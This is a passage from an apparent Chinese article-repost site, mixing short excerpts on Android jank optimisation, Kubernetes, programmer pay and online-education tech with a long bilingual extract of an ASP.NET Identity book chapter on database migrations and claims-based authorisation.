开发中哪些习惯会影响卡顿的发生 1.布局太乱,层级太深。 1.1:通过减少冗余或者嵌套布局来降低视图层次结构。比如使用约束布局代替线性布局和相对布局。 1.2:用 ViewStub 替代在启动过程中不需要显示的 UI 控件。 1.3:使用自定义 View 替代复杂的 View 叠加。 2.主线程耗时操作 2.1:主线程中不要直接操作数据库,数据库的操作应该放在数据库线程中完成。 2.2:sharepreference尽量使用apply,少使用commit,可以使用MMKV框架来代替sharepreference。 2.3:网络请求回来的数据解析尽量放在子线程中,不要在主线程中进行复制的数据解析操作。 2.4:不要在activity的onResume和onCreate中进行耗时操作,比如大量的计算等。 2.5:不要在 draw 里面调用耗时函数,不能 new 对象 3.过度绘制 过度绘制是同一个像素点上被多次绘制,减少过度绘制一般减少布局背景叠加等方式,如下图所示右边是过度绘制的图片。 4.列表 RecyclerView使用优化,使用DiffUtil和notifyItemDataSetChanged进行局部更新等。 5.对象分配和回收优化 自从Android引入 ART 并且在Android 5.0上成为默认的运行时之后,对象分配和垃圾回收(GC)造成的卡顿已经显著降低了,但是由于对象分配和GC有额外的开销,它依然又可能使线程负载过重。 在一个调用不频繁的地方(比如按钮点击)分配对象是没有问题的,但如果在在一个被频繁调用的紧密的循环里,就需要避免对象分配来降低GC的压力。 减少小对象的频繁分配和回收操作。 好了,关于卡顿优化的问题就讲到这里,下篇文章会对卡顿中的ANR情况的处理,这里做个铺垫。 如果喜欢我的文章,欢迎关注我的公众号。 点击这看原文链接: 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 5376)] 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 本篇文章为转载内容。原文链接:https://blog.csdn.net/yuhaibing111/article/details/127682399。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-26 08:05:57
215
转载
转载文章
...Set的应用场景也在持续探索和拓展,尤其在数据库、消息队列等有状态服务中,如何利用Kubernetes StatefulSet进行高效且安全的部署与升级引起了广泛关注。例如,一些云服务提供商已推出基于Kubernetes StatefulSet构建的托管数据库服务,让用户在享受容器化带来的灵活性的同时,也能确保数据的一致性和持久性。 值得注意的是,随着Kubernetes生态的繁荣发展,涌现出不少用于简化控制器配置和运维的新工具,如ArgoCD,通过声明式GitOps的方式来管理和更新Deployment、StatefulSet等资源,这不仅提升了DevOps团队的工作效率,也更加符合云原生理念。 因此,为了紧跟Kubernetes的最新发展动态和技术趋势,建议读者关注官方发布的版本更新日志以及社区的技术博客和研讨会,深入了解各类控制器在实际生产环境中的最佳实践,并结合自身业务需求,合理选择和使用这些强大的控制器来提升集群管理水平和应用服务质量。同时,针对特定应用场景,学习和掌握如何通过Job、CronJob等其他控制器实现任务调度、定时任务等功能,以充分发挥Kubernetes在自动化运维方面的优势。
2023-09-29 09:08:28
423
转载
转载文章
...业界关注的焦点,并将持续推动相关技术和实践创新。
2023-02-14 19:16:35
300
转载
转载文章
转载文章
随着软件行业的快速发展与技术迭代更新,程序员薪资状况及其影响因素始终是业界关注的焦点。近年来,中国程序员群体的收入水平持续攀升,一线城市如北京、上海、深圳等地的程序员平均月薪已远超2004年的3500元。根据最新的《中国程序员薪酬报告》显示,截止2022年,全国程序员平均年薪已突破15万元大关,部分热门领域的资深开发者年薪甚至可达50万元以上。 在技术栈方面,除了C/C++和Java依然保持较高的使用率外,Python、JavaScript等语言由于其在大数据分析、Web开发、人工智能领域的广泛应用,使用人数也在急剧增长。同时,Go语言因在云计算和微服务架构中的出色表现,也逐渐受到更多开发者的青睐。 此外,行业对程序员的综合能力要求也在不断提升。除了扎实的技术基础,项目管理经验、跨团队协作沟通能力以及对新兴技术趋势的敏锐洞察力已成为决定程序员职业发展及薪资待遇的关键要素。尤其在互联网头部企业中,具备架构设计能力和产品思维的高级工程师及技术管理者更是炙手可热。 值得注意的是,女性程序员的比例虽有所上升,但整体上仍远低于男性。众多企业和组织正积极通过开展多元化招聘、提供专门培训等方式,努力打破性别壁垒,以实现软件行业的包容性和可持续发展。 另外,随着国家对软件产业的高度重视以及一系列扶持政策的出台,二三线城市软件行业发展迅猛,程序员薪资差距正在逐步缩小,为人才流动和区域平衡提供了新的机遇。然而,如何进一步优化软件从业人员的福利待遇,提高工作满意度,降低人员流动性,仍是整个行业面临的重大挑战。
2023-12-24 09:01:26
287
转载
转载文章
...发展和在线教育市场的持续火爆,越来越多的教育机构开始关注如何提升用户体验、优化教育资源管理和分发效率。 近日,《中国远程教育》杂志发布的一篇深度分析文章探讨了当前在线教育平台在内容分发网络(CDN)选择、大数据存储与检索策略方面的最佳实践。文中指出,在线教育平台应充分利用Elasticsearch等高效索引工具,结合Logstash的数据收集能力,实时同步并处理大量课程媒资信息,以确保用户能够快速、准确地获取所需的学习资料。 此外,为了保障视频流媒体服务的质量与稳定性,许多教育平台正积极采用更先进的HTTP Live Streaming(HLS)协议,并通过m3u8地址格式进行视频片段分发。例如,某知名在线教育企业近期升级其视频播放系统,实现了基于用户网络环境动态调整视频码率的功能,极大提升了用户的观看体验。 同时,在架构设计层面,使用Nginx作为反向代理服务器已成为业界标准配置,它不仅能够解决跨域调用问题,还能通过对请求的负载均衡分配,提高系统的稳定性和响应速度。正如《高性能Nginx服务器详解》一书中所述,合理配置Nginx对于构建高性能、高可用的在线教育服务平台至关重要。 综上所述,不论是紧跟技术潮流,采用高效的检索技术和流媒体解决方案,还是从架构设计角度优化服务性能,都是现代在线教育平台保持竞争力的关键所在。未来,在线教育领域的技术创新将更加注重个性化、智能化和互动化,为用户提供更加优质、便捷的学习体验。
2023-12-16 12:41:01
74
转载
转载文章
...这恰恰演示了如何处理持续不断的修改,也为了演示Configuration.Seed方法更有用(至少无害)的示例。清单15-8显示了我在AppUser类上添加了一个Country属性。 Listing 15-8. Adding Another Property in the AppUserModels.cs File 清单15-8. 在AppUserModels.cs文件中添加另一个属性 using System;using Microsoft.AspNet.Identity.EntityFramework; namespace Users.Models {public enum Cities {LONDON, PARIS, CHICAGO} public enum Countries {NONE, UK, FRANCE, USA}public class AppUser : IdentityUser {public Cities City { get; set; }public Countries Country { get; set; }public void SetCountryFromCity(Cities city) {switch (city) {case Cities.LONDON:Country = Countries.UK;break;case Cities.PARIS:Country = Countries.FRANCE;break;case Cities.CHICAGO:Country = Countries.USA;break;default:Country = Countries.NONE;break;} }} } I have added an enumeration to define the country names and a helper method that selects a country value based on the City property. Listing 15-9 shows the change I made to the Configuration class so that the Seed method sets the Country property based on the City, but only if the value of Country is NONE (which it will be for all users when the database is migrated because the Entity Framework sets enumeration columns to the first value). 我已经添加了一个枚举,它定义了国家名称。还添加了一个辅助器方法,它可以根据City属性选择一个国家。清单15-9显示了对Configuration类所做的修改,以使Seed方法根据City设置Country属性,但只当Country为NONE时才进行设置(在迁移数据库时,所有用户都是NONE,因为Entity Framework会将枚举列设置为枚举的第一个值)。 Listing 15-9. Modifying the Database Seed in the Configuration.cs File 清单15-9. 在Configuration.cs文件中修改数据库种子 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models; namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);} foreach (AppUser dbUser in userMgr.Users) {if (dbUser.Country == Countries.NONE) {dbUser.SetCountryFromCity(dbUser.City);} }context.SaveChanges();} }} This kind of seeding is more useful in a real project because it will set a value for the Country property only if one has not already been set—subsequent migrations won’t be affected, and user selections won’t be lost. 这种种植在实际项目中会更有用,因为它只会在Country属性未设置时,才会设置Country属性的值——后继的迁移不会受到影响,因此不会失去用户的选择。 1. Adding Application Support 1. 添加应用程序支持 There is no point defining additional user properties if they are not available in the application, so Listing 15-10 shows the change I made to the Views/Home/UserProps.cshtml file to display the value of the Country property. 应用程序中如果没有定义附加属性的地方,则附加属性就无法使用了,因此,清单15-10显示了我对Views/Home/UserProps.cshtml文件的修改,以显示Country属性的值。 Listing 15-10. Displaying an Additional Property in the UserProps.cshtml File 清单15-10. 在UserProps.cshtml文件中显示附加属性 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";} <div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr> <tr><th>Country</th><td>@Model.Country</td></tr></table></div>@using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Listing 15-11 shows the corresponding change I made to the Home controller to update the Country property when the City value changes. 为了在City值变化时能够更新Country属性,清单15-11显示了我对Home控制器所做的相应修改。 Listing 15-11. Setting Custom Properties in the HomeController.cs File 清单15-11. 在HomeController.cs文件中设置自定义属性 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models; namespace Users.Controllers {public class HomeController : Controller {// ...other action methods omitted for brevity...// ...出于简化,这里忽略了其他动作方法... [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;user.SetCountryFromCity(city);await UserManager.UpdateAsync(user);return View(user);}// ...properties omitted for brevity...// ...出于简化,这里忽略了一些属性...} } 2. Performing the Migration 2. 准备迁移 All that remains is to create and apply a new migration. Enter the following command into the Package Manager Console: 剩下的事情就是创建和运用新的迁移了。在“Package Manager Console(包管理器控制台)”中输入以下命令: Add-Migration CountryProperty This will generate another file in the Migrations folder that contains the instruction to add the Country column. To apply the migration, execute the following command: 这将在Migrations文件夹中生成另一个文件,它含有添加Country数据表列的指令。为了运用迁移,可执行以下命令: Update-Database –TargetMigration CountryProperty The migration will be performed, and the value of the Country property will be set based on the value of the existing City property for each user. You can check the new user property by starting the application and authenticating and navigating to the /Home/UserProps URL, as shown in Figure 15-4. 这将执行迁移,Country属性的值将根据每个用户当前的City属性进行设置。通过启动应用程序,认证并导航到/Home/UserProps URL,便可以查看新的用户属性,如图15-4所示。 Figure 15-4. Creating an additional user property 图15-4. 创建附加用户属性 Tip Although I am focused on the process of upgrading the database, you can also migrate back to a previous version by specifying an earlier migration. Use the –Force argument make changes that cause data loss, such as removing a column. 提示:虽然我们关注了升级数据库的过程,但你也可以回退到以前的版本,只需指定一个早期的迁移即可。使用-Force参数进行修改,会引起数据丢失,例如删除数据表列。 15.3 Working with Claims 15.3 使用声明(Claims) In older user-management systems, such as ASP.NET Membership, the application was assumed to be the authoritative source of all information about the user, essentially treating the application as a closed world and trusting the data that is contained within it. 在旧的用户管理系统中,例如ASP.NET Membership,应用程序被假设成是用户所有信息的权威来源,本质上将应用程序视为是一个封闭的世界,并且只信任其中所包含的数据。 This is such an ingrained approach to software development that it can be hard to recognize that’s what is happening, but you saw an example of the closed-world technique in Chapter 14 when I authenticated users against the credentials stored in the database and granted access based on the roles associated with those credentials. I did the same thing again in this chapter when I added properties to the user class. Every piece of information that I needed to manage user authentication and authorization came from within my application—and that is a perfectly satisfactory approach for many web applications, which is why I demonstrated these techniques in such depth. 这是软件开发的一种根深蒂固的方法,使人很难认识到这到底意味着什么,第14章你已看到了这种封闭世界技术的例子,根据存储在数据库中的凭据来认证用户,并根据与凭据关联在一起的角色来授权访问。本章前述在用户类上添加属性,也做了同样的事情。我管理用户认证与授权所需的每一个数据片段都来自于我的应用程序——而且这是许多Web应用程序都相当满意的一种方法,这也是我如此深入地演示这些技术的原因。 ASP.NET Identity also supports an alternative approach for dealing with users, which works well when the MVC framework application isn’t the sole source of information about users and which can be used to authorize users in more flexible and fluid ways than traditional roles allow. ASP.NET Identity还支持另一种处理用户的办法,当MVC框架的应用程序不是有关用户的唯一信息源时,这种办法会工作得很好,而且能够比传统的角色授权更为灵活且流畅的方式进行授权。 This alternative approach uses claims, and in this section I’ll describe how ASP.NET Identity supports claims-based authorization. Table 15-4 puts claims in context. 这种可选的办法使用了“Claims(声明)”,因此在本小节中,我将描述ASP.NET Identity如何支持“Claims-Based Authorization(基于声明的授权)”。表15-4描述了声明(Claims)的情形。 提示:“Claim”在英文字典中不完全是“声明”的意思,根据本文的描述,感觉把它说成“声明”也不一定合适,所以在之后的译文中基本都写成中英文并用的形式,即“声明(Claims)”。根据表15-4中的声明(Claims)的定义:声明(Claims)是关于用户的一些信息片段。一个用户的信息片段当然有很多,每一个信息片段就是一项声明(Claim),用户的所有信息片段合起来就是该用户的声明(Claims)。请读者注意该单词的单复数形式——译者注 Table 15-4. Putting Claims in Context 表15-4. 声明(Claims)的情形 Question 问题 Answer 答案 What is it? 什么是声明(Claims)? Claims are pieces of information about users that you can use to make authorization decisions. Claims can be obtained from external systems as well as from the local Identity database. 声明(Claims)是关于用户的一些信息片段,可以用它们做出授权决定。声明(Claims)可以从外部系统获取,也可以从本地的Identity数据库获取。 Why should I care? 为何要关心它? Claims can be used to flexibly authorize access to action methods. Unlike conventional roles, claims allow access to be driven by the information that describes the user. 声明(Claims)可以用来对动作方法进行灵活的授权访问。与传统的角色不同,声明(Claims)让访问能够由描述用户的信息进行驱动。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework, but it is integrated into the standard authorization features, such as the Authorize attribute. 这不是直接由MVC框架使用的特性,但它集成到了标准的授权特性之中,例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without any need to understand claims at all. 提示:你在应用程序中不一定要使用声明(Claims),正如第14章所展示的那样,ASP.NET Identity能够为应用程序提供充分的认证与授权服务,而根本不需要理解声明(Claims)。 15.3.1 Understanding Claims 15.3.1 理解声明(Claims) A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明(Claim)是关于用户的一个信息片段(请注意这个英文单词的单复数形式——译者注),并伴有该片段出自何处的某种信息。揭开声明(Claims)含义最容易的方式是做一些实际演示,任何讨论都会过于抽象根本没有真正的用处。为此,我在示例项目中添加了一个Claims控制器,其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示:你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐,当看到该动作方法和视图的输出便会明白。尤为重要的是,这有助于洞察声明(Claims)。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明(Claims)。方法之一就是使用由用户类定义的Claims属性,但在这个例子中,我使用了HttpContext.User.Identity属性,目的是演示ASP.NET Identity与ASP.NET平台集成的方式(请注意这句话所表示的含义:用户类的Claims属性属于ASP.NET Identity,而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见,ASP.NET Identity已经融合到了ASP.NET平台之中——译者注)。正如第13章所解释的那样,HttpContext.User.Identity属性返回IIdentity的接口实现,当使用ASP.NET Identity时,该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的,表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明(Claims)的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明(Claim) AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明(Claim)时,返回true。参见“运用声明(Claims)”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明(Claim)。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider ASP.NET platform. 还有一些可用的其它成员,但表中的这些是在Web应用程序中最常用的,随着我演示如何将声明(Claims)融入更宽泛的ASP.NET平台,它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中,我将IIdentity实现转换成了ClaimsIdentity类型,并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段,Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明(Claim)的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明(Claim)所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明(Claim)所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明(Claim)所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容,它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明(Claim)添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式(Microsoft Schema)的URI(统一资源标识符),这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式(Popular Schema),因此为了使Index.cshtml视图的输出更易于阅读,我在IdentityHelpers.cs文件中添加了一个HTML辅助器,如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) {AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注:该辅助器并非十分有效,因为它只是针对每个要显示的声明(Claim)映射出ClaimType类的字段,但对我要的目的已经足够了。在实际项目中不会经常需要显示声明(Claim)的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明(Claims)的控制器,而没有真正解释声明(Claims)是什么的原因,可以启动应用程序,以用户Alice进行认证(其口令是MySecret),并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节,为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject(科目) Issuer(发行者) Type(类型) Value(值) Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明(Claims)最重要的方面,这些是我在第14章中实现传统的认证和授权特性时,一直在使用的信息。可以看出,有些声明(Claims)与用户标识有关(Name声明是Alice,NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号)。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明(Claims)显示了角色成员——表中有两个Role声明(Claim),体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明(Claim):IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明(Claims)时的差别是,你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性(发布者)都被设置到了LOACL AUTHORITY(本地授权),这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此,现在你已经看到了一些声明(Claims)示例,我可以更容易地描述声明(Claim)是什么了。一项声明(Claim)是可用于应用程序中的有关用户的一个信息片段,包括用户的标识以及角色成员等。而且,正如你所看到的,我在前几章定义的关于用户的信息,被ASP.NET Identity自动地作为声明(Claims)了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明(Claims) Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明(Claims)比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明(Claims),而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例,在“使用第三方认证”小节中,将演示如何通过第三方系统来认证用户。不过,此刻我只打算在示例项目中添加一个类,用以模拟一个提供声明(Claims)信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数,并使用Name属性创建了关于用户ZIP码(邮政编码)和州府的声明(Claims)。上述这个类使我能够模拟一个诸如中心化的HR数据库(人力资源数据库)之类的系统,它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间,声明(Claims)是与用户标识关联在一起的,清单15-16显示了我对Account控制器中Login动作方法所做的修改,以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明(Claims)的效果,可以启动应用程序,以一个用户进行认证,并请求/Claim/Index URL。图15-6显示了Alice的声明(Claims)。你可能需要退出,然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 从多个地点获取声明(Claims)意味着应用程序不必复制其他地方保持的数据,并且能够与外部的数据集成。Claim.Issuer属性(图15-6中的Issuer数据列——译者注)能够告诉你一个声明(Claim)的发源地,这有助于让你判断数据的精确程度,也有助于让你决定这类数据在应用程序中的权重。例如,从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明(Claims) The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明(Claims)有意思的第二个原因是,你可以用它们来管理用户对应用程序的访问,这要比标准的角色管理更为灵活。角色的问题在于它们是静态的,而且一旦用户已经被赋予了一个角色,该用户便是一个成员,直到明确地删除为止。例如,这意味着大公司的长期雇员,对内部系统的访问会十分惊人:他们每次在获得新工作时,都会赋予所需的角色,但旧角色很少被删除。(在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现,有时会出现异常宽泛的系统访问——真实的故事) Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明(Claims)可以直接根据用户已知的信息对用户进行授权,这能够保证当数据发生变化时,授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明(Claim),然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the 